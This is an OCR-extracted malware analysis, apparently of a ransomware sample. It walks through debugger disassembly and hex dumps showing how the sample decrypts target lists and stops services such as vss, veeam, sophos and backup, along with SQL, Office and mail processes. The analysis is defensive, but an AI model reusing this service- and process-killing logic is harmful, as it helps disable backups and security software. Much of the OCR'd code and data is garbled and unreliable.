®| 00402311 SE45 08 mov eax,dword ptr ss:|[[ebp+s] [ebp+8] :"S$[IN | "XTudq[le-0Osbve<OXr:
| 00402314 OFBG&0402 movZx eax,byte ptr ds:[edx+eax]
®| 00402318 03C7 add eax,edi
®| 00402314 03C8 add ecx,eax
@ 0040231C OFBG&F9 movzx edi,cl
®| 0040231F 8AB43D 0OFFFFFF |mov al,byte ptr ss:|[febp+edi-100]
| 00402326 888435 OOFFFFFF |mov byte ptr ss:|[[ebptesi-100J,al
& | 0040232D 48 inc esi
| 0040232E 889C3D OOFFFFFF |mov byte ptr ss:|[febptedi-100Q,b1
& 00402335 81FE 00010000 cmp esi,100
| 00402338 ~ T2 C3 ib edp. 402200
®| 00402330 SB7S 14 mov esi,dword ptr ss:|[ebp+14])
®| 00402340 33DB xor ebx,esbx
& 00402342 33C0 Xor eax,eax
| 00402344 85F& test esi,esi
|———* 00402346 ~ 74 593 je edp.4023A1
| ®| 00402348 SB7D 10 mov edi,dword ptr ss:|[ebp+10] [ebp+10] : "vss,sql,memtas,mepocs , 50|
| ®| 0040234E OF1F4400 00 nop dword ptr ds:[eax+eax],eax
i & | 00402350 40 inc eax
®| 00402351 BD7F 01 lea edi,dword ptr ds:[edi+l]
| ®| 00402354 OFB&DD movzx edx,al
| ®| 00402357 5955 14 mov dword ptr ss:[febp+14],edx
| ®| 00402354 SABC1S OOFFFFFF |mov c1,byte ptr ss:|[febp+edx-100]
1 | 00402361 OFBG&CL movZzx eax,cl
1 ®| 00402364 03C3 add eax,ebx
] ®| 00402366 OFBGDS movzx ebx,al
1 ®| 0040236 8A841D OOFFFFFF |mov al,byte ptr ss:|[febp+ebx-100]
1 L] 7 888415 00FFFFFF |mov byte ptr ss:|[[ebp+edx-1007,al
| . SB45 14 mov eax,dword ptr ss:|febp+14])
| L] 2 OFB&D1L movzx edx,cl
i ®| 00402370 888C1D 0OOFFFFFF |mov byte ptr ss:|[febptebx-100J,cl
®| 004023584 OFBGBC05 OOFFFFFEmovZzXx ecx,byte ptr ss:[ebpreax-100]
| e | 0040238C 0301 add edw,ecx
| ®| 0040238E OFBGCA movzx ecx,dl
| ®| 00402391 OFB&8CO0D OOFFFFFEmovZx ecx,byte ptr ss:|[febp+ecx-100]
1 ®| 00402399 304F FF xor byte ptr ds:[edi-1],cl
| @[ 0040239C 83EE 01 sub es1,1
] . ~ TE AF jne edp.402350
Eilg———> » | AN 8B45 10 mov eax,dword ptr ss:[ebp+10] [ebp+10]:"vss,5ql,memtas ,mepocs,so|
®| 0040234 SF pop edi
®| 00402345 SE pop es1i
®| 00402346 SE pop ebx
®| 00402347 SBES mov esp,ebp
= |22t —— pi
£ >
@oump1l  @lpoump2  @Woump:  @Woumpa  @lpumps @ watchi  Ix=llocals 4 Struct
Address | Hex ASCII
0040B260| 76 73 73 2C|73 71 6C 2C|eD 65 6D 74|61 73 2C 6D |vss,s5q1,memtas,m
0040B270|65 70 6F 63|73 2C 73 &F |70 68 6F 73|2C 76 65 65 |Epocs,sophos,vee
0040B280|61 6D 2C 62|61 63 6B 75|70 2C 70 75(6C 73 65 77|am,backup,pulsew
0040B290| 61 79 2C 6C|6F 67 6D 65 |2C &6C &F &7 |6D &5 &9 &E|ay, logme,logmein
0040B2A0|2C 63 6F GE|GE 65 63 74|77 69 73 65|2C 73 70 6&C| ,connectwise,spl
0040B2B0O| 61 73 68 74|6F 70 2C €D |79 73 71 &C|2C 44 &6 73| ashtop,mysql,DTs
0040B2C0O |00 00 00 OO(00 OO0 OO0 OO|00 OO0 OO0 OOD(00 00 00 00| . c.eesnnnnnnnnss
0040820000 00 00 OO(00 OO0 OO OO|OD OO OO0 OO0(00 00 00 00| ... esennnnnnnss
0040B2E0 |00 00 OO0 O0O(00 OO0 OO0 OO|00 OO0 OO0 OOD(00 00 00 00| . u.eesnnnnnnnnss

The third time it is called, it is used to decrypt another series of strings, which will later be
used as reference for substrings to look for in order to determine which processes to
terminate, as we will also see. The strings are:

e sql

e mysql
e veeam
e oracle
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ocssd

dbsnmp
synctime
agntsvc
isqlplussvc
xfssveceon
mydesktopservice
ocautoupds
encsve

firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel

infopath
msaccess
mspub
onenote
outlook
powerpnt
steam

thebat
thunderbird
visio

winword
wordpad
EduLink2SIMS
bengine
benetns
beserver
pvisvr
beremote
VxLockdownServer
postgres
fdhost
WSSADMIN
wsstracing
OWSTIMER
dfssvc.exe
dfsrs.exe
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e SWC_service.exe
¢ sophos
o SAVAdminService
e SavService.exe
&l 00402338 ~ 72 C3 jb edp. 402300
®| 00402330 B8BTS 14 mov esi,dword ptr ss:|[febp+14])
®| 00402340 33DB xor ebx,ebx
&l 00402342 33C0 Xor eax,eax
& 00402344 85F6 test esi,esi
|———* 00402346 « 74 59 je edp.4023A1
| ®| 00402348 8B7D 10 mov edi,dword ptr ss:[Jebp+10f [ebp+10]:"sq1,mysql,veeam,oracle, o
. 23 nop dword ptr ds:[eax+eax],eax
I 00402348 OF1F 4400 00 p dword ptr ds:[ 1
L 23 inc eax
| 00402350 20
. 23 ea edi,dwor r ds:[edi+
00402351 BDFF 01 1 di ,d d ptr d di+l
| ®| 00402354 OFBEDOD movzx edx,al
| ®| 00402357 8955 14 mov dword ptr ss:|ebp+14],edx
L 235A mov c1,byte ptr ss:[Jebpredx-
| 00402354 BASBC1S OOFFFFFF 1,byt T = dx—100{
| & || 00402 OFB&C1 movzXx eax,cl
| & | 00402 03C3 add eax,ebx
| e | 00402 OFBEDSB movzx_ebx,al
| & | 00402 8A841D DOFFFFFF |mov al,byte ptr ss:[[ebp+rebx-100]
| ®| 00402 888415 OOFFFFFF |mowv byte ptr ss:|lebp+edx-100J,al
L 2 mov eax,dword ptr ss:[lebp+
| 00402 BB45 14 d d pt Lebp+14]
. 2 mevzx edx,c
| 00402 OFB&D1 dx,cl
I . 888C1D OOFFFFFF |mov byte ptr ss:|[febp+ebx-100J,c1
. OFBG6BCOS OOFFFFFEmovzx ecx,byte ptr ss:[ebpt+eax-100]
| ®| 0040238C 0301 add edx,ecx
| ®| 0040238E OFBECA movzx ecx,dl
L 239 movzx ecx,byte ptr ss:[febptrecx-
| 00402391 OFB&ECOD OOFFFFF byt T D=b 1004
| ®| 00402339 304F FF xor byte ptr ds:[edi-1],cl
| & [ 004023 2C 83EE 01 sub esi,1
| || 0040239F ~ 75 AF jne edp.402350
Eig———» |G ; 8B45 10 mov eax,dword ptr ss:[ebp+10] [ebp+10]:"sq1,mysql,veeam,oracle, o
. SF pop edi
. SE pop esi
®| 00402 B pop ebx
ol ~reomsas e o Too e
£ >

B4 Dump 1 EoDump2 W Dump3 B Dump4 @4 Dump 5 & watch1  [*<Locals ;’ Struct

Address | Hex ASCIT

D040B668|73 71 6C 2C|6D 79 73 71|6C 2C 76 65|65 61 6D 2C|sql,mysql,veeam,
OD40B67B|6F 72 61 63 |6C 65 2C 6F |63 73 73 64(2C 64 62 73 |oracle,ocssd,dbs
0040B688| 6E 6D 70 2C |73 79 GE 63|74 69 6D 65 |2C 61 &7 &E|nmp,synctime,agn
OD40B698| 74 73 76 63 |2C 69 73 71|6C 70 6C 75|73 73 76 63| tsvc,isqlplussve
O040BBASB|2C 78 66 73|73 76 &3 63 |6F 6E 2C 6D |79 64 65 73| ,xfssvccon,mydes
OD40BE6BB| 6B 74 6F 7O|Z3 €5 72 76|69 63 65 2C (gGF 63 g1 7t |ktopservice,ocau
0040B6CS| 74 6F 75 70|64 73 2C 65 (BE 63 73 76|63 2C 66 69| toupds,encsvec,fi
OD40BED8| 72 65 66 6F |78 2C 74 62|63 72 64 63 |6F 6E 66 63| refox,thbirdconfi
OO40BGES| 67 2C 6D 79|64 65 73 6B(74 &6F 70 71|6F 73 2C &F|g,mydesktopqos,o
0OD40BE6F8| 63 6F 6D 6D |2C 64 62 65 |6E &7 35 30(2C 73 71 &2 | comm,dbeng50,sgb
0040B708| 83 6F 72 65 (L 72 76|69 63 65 2C |65 78 63 65| coreservice,exce
OD40B718| 6C 2C 63 GE|66 6F 70 61|74 63 2C 6D (73 61 63 63| 1,infopath,msacc
0040B728| 65 73 73 2C 73 70 75|62 2C &F &E |65 &E 6&F 74|ess,mspub,onenct
0O040B738| g5 2C GF 7o |74 6C &F 6F|6B 2C 70 G6F (77 65 72 70|e,outlook,powerp
0040B748|6E 74 2C 73|74 65 61 6D (2C 74 68 65|62 61 74 2C|nt,steam,thebat,
OD40B758| 74 68 75 GE|64 65 72 62|63 72 64 2C (76 69 73 63| thunderbird,visi
D040B768|6F 2C 77 69|6E 77 &F 72|64 2C 77 &F|72 64 70 61|o,winword,wordpa
OD40B778| 64 2C 45 64|75 4C 6% G6E|6B 32 53 49(4D 53 2C 62 |d,EduLink2SIMS,b
D040B788| 65 6E 67 69|6E 65 2C 62|65 6E 65 74|6E 73 2C 62| engine,benetns,b
OD40B798| 65 73 65 72|76 65 72 2C |70 76 6C 73|76 72 2C 62 |eserver,pvisvr,b
OO40B7AB| 65 72 65 6D |6F 74 &5 2C (56 78 4C 6F |63 6B 64 &F | eremote,VxLockdo
0040B7B8 |77 GE 53 65|72 76 65 72 (2C 7O &F 73|74 &7 72 &5 |wnServer,postgre
O040B7C8| 73 2C 66 64|68 6F 73 74(2C 57 53 53|41 44 4D 43 |s,fdhost ,WSSADMI
OD40B7D8| 4E 2C 77 73|73 74 72 61|63 69 6E &7 |(2C 4F 57 53| N,wsstracing,0OwWs
OO40B7ES |54 49 4D 45|52 2C 64 66|73 73 76 63|2E 65 78 65| TIMER,dfssvc.exe
OD40B7F8|2C 64 66 73|72 73 2E 65|78 65 2C 73|77 63 S5F 73| ,dfsrs.exe,swc_s
0040BBO8| 65 72 76 69|63 65 2E 65|78 &5 2C 73 |6F 70 68 &F|erwvice.exe,sopho
0O040BB18| 73 2C 53 41|56 41 64 6D |63 6E 53 65 (72 76 63 63 |s,SAVAdminServic
0040BB28| 65 2C 53 61|76 53 &5 72|76 69 63 65 |2E 65 78 65| e,Savservice.exe

Anannnanl an An Aan Aandlas Aan An Aalaa A Aan Aanl A AR AR AR

After some data has been decrypted, as seen in the previous steps, it will now attempt to
establish a connection to the service control manager (via OpenSCManagerA()) of the local
computer (IpMachineName is set to NULL) and open the SERVICES_ACTIVE_DATABASE
database (IpDatabaseName set to NULL) with the dwDesiredAccess argument set to
SC_MANAGER_ALL_ACCESS. The first call to EnumServicesStatusA() should fail, with the
last-error code set to ERROR_MORE_DATA, as cbBufSize (the size of the buffer pointed to
by the IpServices parameter, in bytes) is set to a small value (36 bytes). If it does fail, then
pcbBytesNeeded will receive the number of bytes needed to return the remaining service
entries (via the second call to EnumServicesStatusA()), where execution can now continue
to the code path that will attempt to stop some services.
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004031DE
004031E1
004031E3
00403 1E6
004031ES
00403 1EE
004031F1
004031F8
004031F9
004031FC
00403203
00403204
00403207
0040320E
0040320F
00403211
00403217
00403218
00403214
0040321C
00403210
00403223
00403225
0040322B
00403231
00403236
0040323C
0040323F
00403242
00403243
00403245
00403248
0040324C
00403252
00403255
00403258
00403259
0040325C
00403250
00403280
00403261
00403262
00403265
00403266
00403268
00403264
00403268

]

L T T T T =Ry

FF15 10804000
BEFB

837D FC

85FF

0OF84 11010000
BD45 BB

C745 CC 00000000
50

BD45 EB

C745 ES 00000000
50

BD45 CC

C745 BB 00000000
50

6A 24

BDB5 3ICFEFFFF
50

6A 03

6A 3B

57

FF15 14804000
BECO

0OF85 CDOODO00
FF15 44814000
3D EADQODOODO
0OF85 BCOODO00
BB75 CC

B3C6 24

56

6A D8

FF15 S5C814000
50

FF15 64814000
8945 F8

8D45 BB

50

BD45 EB

BD45 CC

FF15 14804000
BS 2C000000
6618945 EC
8D45 EC

50

FF75 F4

E8 9AFAFFFF
BBCB

83C4 08

834D F4

s

call dword ptr ds:[<&0penSCManagerAs]

mov edi,eax
mov dword ptr
test edi,edi
je edp.4032FF
1ea eax,dword
mov dword ptr
push eax

lea eax,dword
mov dword ptr
push eax

lea eax,dword
mov dword ptr
push eax

push 24

lea eax,dword
push eax

push 3

push ZBE

push edi

€all dword ptr
test eax,eax
jne edp.4032F8
call dword ptr
cmp eax,EA
jne edp.4032F8
mov 231, dword
add esi,z24
push esi

push 3

€all dword ptr
push eax

€all dword ptr ds:[<&Rt1AllocateHeap:>]

mov dword ptr
lea eax,dword
push eax

lea eax,dword
push eax

lea eax,dword
push eax

push esi

mov 251, dword
push esi

push 3

push 3B

push edi

€all dword ptr
mov eax,2c

mov word ptr s
lea eax,dword
push eax

push dword ptr
call edp.402D2
mov ecx,eax
add esp, 3

mov dword ptr

e

ss:ebp-4,edi
ptr ss:[Qebp-4&j
ss:febp-244,0

ptr ss:[Qebp-15]
ss:febp-18]Q,0

ptr ss:[lebp-34f)
ss:[ebp-as],0

ptr ss:[ebp-1c4f)

ds: [<&EnumServicesStatusA>]

ds: [<&GetLastError>]

ptr ss:[febp-34]

ds: [<&GetProcessHeap:>]

ss:febp-&), eax
ptr ss:[lebp-435]

ptr ss:[lebp-15]
ptr ss:lebp-34§

ptr ss:[lebp-5j

ds: [<&EnumServicesStatusas]

s:febp-14], ax
ptr ss:[lebp-14ff

ss:|febp-Cf}
1]

ss:flebp-Cll,ecx

eax:"sql,mysql,veeam,oracle,ocssd,
[ebp-4]:L"E354BDEG"

[ebp-48]:"CryptImportPublicKeyInfo
[ebp-34]:"CryptImportPublicKkeyInfo
eax:"sql,mysql ,veeam,oracle,ocssd,

eax:"sql,mysql,veeam,oracle,ocssd,
[ebp-34]:"CryptImportPublicKkeyInfo
[ebp-48]:"cryptImportPublicKeyInfo
eax:"sqgl,mysql,veeam,oracle,ocssd,

eax:"sqgl,mysql,veeam,oracle,ocssd,

eax:"sql ,mysql ,veeam,oracle,ocssd,

eax:"sql,mysql ,veeam,oracle,ocssd,

[ebp-34]:"CryptImportPublickeyInfo
esi:"sql,mysql ,veeam,oracle,ocssd,
esi:"sqgl,mysql,veeam,oracle,ocssd,

eax:"sql,mysql,veeam,oracle,ocssd,

[ebp-8]:L"9B3A2CD7"

Lebp-48]:"CryptImportPublicKeyInfo
eax:"sql,mysql,veeam,oracle,ocssd,
eax:"sql,mysql,veeam,oracle,ocssd,
[ebp-34]:"CryptImportPublicKeyInfo
eax:"sql ,mysql ,veeam,oracle,ocssd,
esi:"sql,mysql ,veeam,oracle,ocssd,
[ebp-8]:L"9B3A2CDT7"

esi:"sql,mysql,veeam,oracle,ocssd,

eax:"sqgl,mysql,veeam,oracle,ocssd,

[ebp-14]:"PE"

eax:"sqgl,mysql,veeam,oracle,ocssd,

[ebp-C]:"vss,sq]1,memtas,mepocs,sop

eax:"sql,mysql,veeam,oracle,ocssd,

[ebp-C]:"vss,sq1,memtas ,mepocs,sopl w
>

For every enumerated service that contains a substring (StrStrlA()) from the possible set of
strings existing in the previously decrypted data, it will call a subroutine.
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5045 BS Tea eax,dword ptr ss:|Jebp-45]) » | wide EPU
50 push eax
253[545 ES gﬁgheggidword ptr ss:[lebp-15] EAY DO4ABATE "13940hci™
BD45 CC lea eax,dword ptr ss:|Jebp-34] 5% L ", "
e push eax ECX 0040B260 VS5
B push esi EDX  0019F92C
8BTS F8 mov esi,dword ptr ss:[Jebp-sl) EEF  OO13FALD .
56 push esi ESP  0013D5F8 &"13340hci”
6A 03 push 3 ESI 00498608 &"13940hci”
6A 3B push 2B EDI 00000000
57 push edi :
FF15 14804000 €all dword ptr ds:[<&EnumServicesStatusA>] EIP 004032A8 edp. 004032A8
BS 2C000000 mov eax,2C
6618945 EC mov word ptr ss:|[Jebp-14],ax
8D45 EC lea eax,d\znrd ptr! Sg:[E%’IJ[‘J-l-‘] EELSGSPF 20022236
=0 push eax OF 0 SF O DF O
FF75 F4 push dword ptr ss:[lebp-Cll
ES 9AFAFFFF €all edp.402020 CFOo TFO IF1
8BCS8 mov ecx,eax
83C4 08 add esp,a LastError 0O00D000EA (ERROR_MORE_DATA)
894D F4 mov dword ptr ss:[lebp-cf,ecx Laststatus CO00007C (STATUS_NO_TOKEN)
85C9 test ecx,ecx
~ 74 53 je edp.4032ES G5 002B FS 0053
23FF xor edi,edi . ES D0O2B DS 002B
397D E8 cmp dword ptr ss:[Jebp-12],edi €5 0023 S5 002B
v 76 32 jbe edp.4032CB
g;é:au TITETTLT = ‘é'ai LdlwéFd g::r;s“[e;:? ST(0) 00000000000000000000 X87r0 Empty 0.000000000000000000
85C0 test Ea)l( sax 5T(1) 00000000000000000000 X87rl Empty O.000000000000000000
v 7419 j& edp.40328F ST(2) 00000000000000000000 X87F2 EMPTY O.000000000000000000
51 push ecx ST(3) 00000000000000000000 X87r3 Empty O.000000000000000000
50 push eax ST(4) 00000000000000000000 XB7r4 Empty O.000000000000000000
FF15 30814000 call dword ptr ds:[<&StrstrIas] ST(5) 40028000000000000000 X87r5 Empty 8.000000000000000000
B5CO test eax,eax 5T(6) 3FFDCOOO000000000000 X87r6é Empty O.3750000000000000000
~ 74 0A je edp.4032BC ST(7) 3FFF3000000000000000 X87r7 Empty 1.000000000000000000
FF75 FC push dword ptr ss:[ebp-sl
FF36 pu?[’; d\gnrd ptr ds:[esi] x87Tagword FFFF
ES 44DFFFFF call edp. 401200
SB4D F4 mov ecx,dword ptr ss:[lebp-cCJ) :g;m_g : Esmpzyj X87Tw_1 3 (EmpTy)
a7 A oo | Pty XB7TW_2 2 (Empty)
83CE 24 add esi,z4 XB7TwW_4 3 (Empty) X87TW_5 3 (Empty)
3B7D ES cmp edi,dword ptr ss:[febp-13f X87TW_6 3 (Empty)  x87TW_7 3 (Empty)
~ 72 D8 jb edp.4032A0
8BTS F8 mov esi,dword ptr ss:|febp-2i) Xx875tatusword 0100
8045 EC lea eax,dword ptr ss:|febp-14] X87SW_B O XB7SW_C3 0O X87SW_C2 0
50 push eax X87SW_C1 O XxB87SW_CO 1 X87SW_ES 0O
6A 00 push 0 X87SW_SF O xB87SW_P 0 X87SW_U O
E8 4AFAFFFF call edp.402D20 X87SW_0 O XBTSW_Z 0 x87SW_D o
BBCS mov ECx,eax XB7FSW_I O XB87SW_TOP O (STO=x87ro)
5345 F4 mov dword ptr ss:|Jebp-CfJl,eax
83C4 08 add esp, 8
8sco e e Default (stdcal)
~ 75 BO jne edp. 403292 1: [esp]l O04ABA7S “13940hci™
BB7D FC mov edl,dword ptr ss:[[ebp-4] 2z: [esp+4] 00D40BZ60 "vss"
56 push esi v [ 3: [esp+8] D0404DBC <edp.EntryPoint>
oan LU 4r FesnarT ANAANNAN

This subroutine is responsible for calling GetTickCount(), opening the existing service via
OpenServiceA() with dwDesiredAccess of SERVICE_STOP | SERVICE_QUERY_STATUS |
SERVICE_ENUMERATE_DEPENDENTS, look up the status of the service via
QueryServiceStatusEx() and:

o [fits dwCurrentState is SERVICE_STOPPED, it closes the service handle via
CloseServiceHandle() and returns.

o If its dwCurrentState is SERVICE_STOP_PENDING, then it will enter a loop where it
sleeps via Sleep() for either 10000 or 1000 milliseconds, calls QueryServiceStatusEx()
again and exists the loop if dwCurrtentStats is SERVICE_STOPPED or if more than
30000 milliseconds have passed (via another call to GetTickCount() and subtracting it
its previous value).

o If its dwCurrentState is SERVICE_RUNNING, it will then attempt to enumerate its
dependent services via EnumDependentServicesA(), open the enumerated dependent
services via OpenServiceA() with dwDesiredAccess of SERVICE_STORP |
SERVICE_QUERY_STATUS and call ControlService() on them with dwControl of
SERVICE_CONTROL_STOP. After the enumerated dependent services are stopped, it
will finally call ControlService() on the initial opened service and stop it by using, again,
the dwControl of SERVICE_CONTROL_STOP.
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O04012EC
0O0401ZEF
0O04012F5
004012F7
00401Z2FD
00401303
00401308
0040130E
00401311
00401313
00401319
0040131A
00401320
00401323
00401325
0040132BE
0040132E
0040132F
00401332
00401333
00401336
00401337
00401339
0040133C
00401342
00401344
00401346
00401349
00401344
0040134F
00401351
00401352
00401358
00401350
00401361
00401368
0040136E
00401371
00401374
00401377
00401379
00401370
00401381
00401385
00401386
00401389
0040138F
00401391
00401393
00401399
0040139C
00401390
0040139F
00401340
004013A6
004013A8

After the services are dealt with (stopped), it's now time for some process termination. As in
the services case, it loops through all the processes in the system and checks via StrStrlA()
if a substring referred in the previous decrypted data is present in its name. It does this by
first calling CreateToolHelp32Spanshot() with dwFlags TH32CS_SNAPALL (and
th32ProcessID 0), then processes are iterated via the Process32FirstW()/Process32NextW()

combination.

FF75 08
FF15 18504000

OFS85 ZEQL0000
FF15 44814000
3D EAOO0000
OFS85 1D0L10000
FF75 FC

64 08

FF15 5C814000
)

FF15 64814000
5945 Fa

85CO

OF84 00010000
SD4D FS8

51

8D4D FC

51

FF75 FC

50

64 01

FF75 08

FF15 18804000
85C0O

75 17

FF75 F4

50

Al SCS14000
FFDO

50

FF15 60814000
E9 CEQOO000
837D F& 00
€745 FO 00000000
OFS6 9A000000
SE45 F4

8945 EC
OF1008

64 24

OF1040 10
66:0FTECS
DF1145 34

50

FF75 0OC

FF15 0CS804000
SBFO

BSFE

OFS4 SCO00000
8045 38

)

64 01

56

FF15 1C804000
85C0

74 55

push dword ptr s
call dword ptr d
test eax,eax

jne edp. 401428
call dword ptr ds:[<&GetLastError>]
cmp eax,EA

jne edp.40142B

push dword ptr ss:|lebp-4])

:febp+&j
: [=REnumDependentsServicesas]

LA LA

push 3

call dword ptr ds: [<&GetProcessHeaps>]
push eax

call dword ptr ds:[<&RT1AllocateHeap>]

mov dword ptr ss:|febp-Cjl,eax
test eax,eax

je edp.40142B

Tea ecx,dword ptr ss:[febp-zj
push ecx

Tea ecx,dword ptr ss:[febp-4[]
push ecx

push dword ptr ss:|ebp-44
push eax

push 1

push dword ptr
call dword ptr
test eax,eax
jne edp.40135D
push dword ptr ss:[lebp-Cj

push esax

mov eax,dword ptr ds: [<&GetProcessHeap:)
E3ll =ax

push eax

call dword ptr ds:[<&HeapFree:=]

jmp edp.40142B

cmp dword ptr ss:|febp-s,0

mov dword ptr ss:|ebp-104,0

jhe edp. 401408

mov eax,dword ptr ss:|ebp-Cj]

mov dword ptr ss:|lebp-14],eax

movups xmml,xmmword ptr dsi[eax]

push 24

movups xmmo,xmmword ptr ds:[eax+10]

movd eax, xmml

movups xmmword ptr ss:|febp-7CJ, xmmo
push eax

push dword ptr ss:|lebp+Cj

€dall dword ptr ds:[<0penServiced=]

mov esi,eax

test esi,esi

je edp. 401425

Tea eax,dword ptr ss:[febp-68]

push eax

push 1

push esi

€dll dword ptr ds:[<&ContreolService=]
test eax,eax

je edp. 4013FF

—— T R —————— T

i Bebp+5]
! [=&EnumDependentServicesas]

LA

(=]

A
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E8 DB490000 call <IMP.a&CreateToolhelp32snapshot> ~| Hide EPU
8DS8D S8F4FFFF lea ecx,dword ptr ss:|[febp-BAs)
8945 FC mov dword ptr ss:[ebp-4],eax EAX  DO1SFS48 “[System Process]"
gé gﬂzu g;i eax:"[System Process EBX DOTSEAZO)
C785 S8F4FFFF 2c(mov dword ptr ss:[febp-sash,zzc B 1 ) S e
ES C7430000 call <IMP.&Process3ZFirsti- EE TR
85co test eax,eax eax: "[System Process EBP  OO1SFALD
- OF84 COO0DO0D je edp.40240B ESE  0D18D5F8 &"[system Process]"”
®| 00403348 OF1F4400 00 nop dword ptr ds:[eax+eax],eax ESI  OD49AFBS "[Ssystem Process]”
E)(H(J“SE) 33F6 xor esi,esi esi:"[System Process]” EDI 00000011
8D85 7CF4FFFF Tea eax (dword ptr ss:[ebp-e84]
56 push e: [System Process, EIP  004033C1 edp.004033C1
13 push e51 System Process
56 push esi System Process EFLAGS 00000246
35 56 push esi [System Process ZE 1 PF 1 AF O
0040335C GA FF push FFFFFFFF CFE BE6 OEo
0040335E 50 push eax [System Process
0040335F 68 00020000 push 200 CF 0o TFO IF1
56 push esi [System Process
FF15 08814000 €all dword ptr ds:[<&wideCharToMultiBytes] LastError 00000000 (ERROR_SUCCESS)
8BF8 mov edi,eax [System Process LasTSTatus 00000000 (STATUS_SUCCESS)
B85FF test edi,edi
~ 74 38 je edp.4033A3 GS 0028 FS5 0053
é‘?\ DUSE 531 ES 0028 DS 002B
pus|
FF15 74814000 €a11 dword ptr ds:[<&LocalAlloc>] Cs 0023 23 0028
S?Eg 5T Eolgae, g;ﬁggl §£§§§EE ST(0) 000000D0D0D0OD0D000D x87rd Empty O.000000000000000000
« 74 29 o edp.ahizas S = ST(1) 00000000000000000000 x87rl Empty 0.000000000000000000
54 00 Bush o ST(2) 00000000000000000000 X87r2 EMpTy 0.000000000000000000
6A DO push o ST(3) 00000000000000000000 X87r3 EMpty 0.000000000000000000
57 push edi ST(4) 00000000000000000000 X87r4 EMpty 0.000000000000000000
56 push esi esi:"[System Process ST(5) 40028000000000000000 x87r5 Empty S§.000000000000000000
6A FF push FFFFFFFF 5T(6) 3FFDCO00000000000000 x87r6 Empty 0.3750000000000000000
8D85 7CF4FFFF lea eax,dword ptr ss:[ebp-E34] ST(7) 3FFFE000000000000000 X87r7 Empty 1.000000000000000000
push eax eax: "[System Process
gﬁ 33020000 Dﬂgn 300 x87Tagword FFFF
FF15 08814000 €all dword ptr ds:[<&wWideCharToMultiByte=] L ig;m_g g Egagg§g :g;m_g : Egmgzzg
. 35':39 ;'gped"? 40§;A9 ESE ST ECERoEess x87TW_4 3 (Empty) x87TW_5 3 (Empty)
56 push esi esi:"[System Process X87TW_6 3 (EMPTY)  X87TW_7 3 (EmpTy)
FF15 70814000 €a11 dword ptr ds:[<&lLocalFreex]
BBFO mov esf,eax [System Process X87Statusword 0100
56 push e: [System Process x87SW_B O XB7SW.C3 0 x87SW. C2 0
8D85 3BFBFFFF lea eax dwurd ptr ss:[Jebp-4cs] X87SW_C1 O xB7SW._CO 1 x87SW_ES O
50 push eax eax: "[System Process XBTSW_SF O XBTSW_P 0 x87SW_U o
FF15 B8804000 r.aTI dword ptr ds:[<&1strcpy=] . X87SW_O O XB7SW_Z 0 X87SW_D o
FF75 F. push dword ptr ss:|ebp-sj) sal x87SW_I O XB7SW_TOP O (STO=xB7ro)
8D85 38FBFFFF lea eax,dword ptr ss:[[ebp-4cs]
50 push eax eax: "[System Process]”™
FF15 90814000 €all dword ptr cs:[<&5trStrias] Default (stdcall}
004033C7 85CO test eax,eax eax: "[System Process]” 1: [esp] OD13F548 "[System Process]™
004033C3| ~ 74 29 Je edp. 4033F4 2: [esp+4] 0040B668 "sq1"
004033CB FFB5 GOF4FFFF push dwnr‘d ptr ss:[Jebp-8an] v | 2: [esp+8] 0D0404DBC <edp.EntryPoint>
;"“"‘""' o B 4: [esp+C] 0000DOOOD
Woump 1 @oump2  @pump3  Poumps  @Woumps @ wathi  bellocals ) stuc m;g --;gysm" Pracess]

If the process name contains any substring as indicated by the decrypted data, then the
process is opened via OpenProcess() with dwDesiredAccess of PROCESS TERMINATE
and terminated via TerminateProcess() with exit code 666.

|| 00403380 6A 0D push 0 "
e || 0040 6A 00 push 0 ~|[ Hide FRU
o|| 00403333 57 push edi - -
00403385 56 push esi [System Process]" E?l; ggigii;g Bys LenJRrotess))
|| 0040338 6A FF push FFFFFFFF E=:  fereeeh
e (| 0040 8DB5 7CF4FFFF lea eax,dword ptr ss:|[febp-s34])
. 5 push eax eax:"[System Process EDX 0049AFCS
. &8 00020000 push 200 EBP  0019FAlO0
. 6A 00 push 0 ESE  DO19D5F8 &"[System Process]"
FF15 08814000 €an dword ptr ds:[<awidecharTomultisytes] ESI 0QD49AFES “[System Process]™
(JEH(J::SC 3BFS cmp edi,eax [System Process]" EDI 00000011
v 0040339E| ~ 74 09 je edp.4033A9
| e || 0040 56 push esi [system Process]" EIP 004033€C1 edp. 004033C1
! || 004033A; FF15 70814000 €all dword ptr ds:[<&LocalFrees]
! . 8BFO mov esi,eax [System Process EFLAGS 00000246
B 13 push esi [System Process ZE1 PE1 AF O
8DB5 3BFBFFFF lea eax,dword ptr ss:|[ebp-scs] OF 0 SFO DF O
. 50 push eax [System Process]™
. FF15 88804000 €all dword ptr ds:[<&lstrcpys] CFO TFO IF1
. FF75 F push dword ptr ss:|Jebp-s]) sq1”
. 8085 3BFBFFFF lea eax,dword ptr ss:|febp-4ca]] LastError 00000000 (ERROR_SUCCESS)
. 50 push eax [System Process]” LastStatus 00000000 (STATUS_SUCCESS)
FF15 90814000 €811 dword ptr ds: [<&StrStrIA>]
33 B5CO test eax,eax eax:"[System Process]” GS D02B  FS D053
004033C9| ~ 74 29 je edp. 4033F4 £S DOZB D5 0028
004033CB FFB5 GOF4FFFF push dword ptr ss:[Jebp-Bao(] €S 0023 55 0028
00403301 6A 0D push 0
;;21?153314000 E:ﬂ‘ éwrd tr de: [<eOpenPracesss] ST(0) 00000000000000000000 XB7r0 Empty O.000000000000000000
e o aowerE R = = [System Process ST(1) 000000DO0O0000000000 XB7r1 Empty O.000000000000000000
a3 E5FE Test esi,esi Svstem Process ST(2) 000000DO0000000000N0 XB7r2 Empty O.000000000000000000
004033DF| ~ 74 13 je edp. 4033F4 - ST(3) 000000DO000000000000 XB7r3 Empty O.000000000000000000
004033E1 68 9A020000 push z3a ST(4) 00000000000000000000 X87r4 EMpTy O.000000000000000000
0D04033E6 56 push esi esi:"[System Process ST(5) 40028000000000000000 X87r5 EMpTY 8.000000000000000000
0D04033E7 FF15 4C814000 call dword ptr dsi[<aTerminateProcess:] ST(6) 3FFDCO0D000000000000 X87F6 EMPTY 0.3750000000000000000
004033ED 56 push es1 esi:“[System Process ST(7) 3FFF3000000000000000 X87r7 Empty 1.000000000000000000
FF15 70804000 €all dword ptr ds:[<&CloseHandlex]
BDB5 SEBF4FFFF Tea eax,dword ptr ss:|[febp-BAz]) x87Tagword FFFF
. SD push eax eax:"[System Process
: T WO (Eery) a2 (e
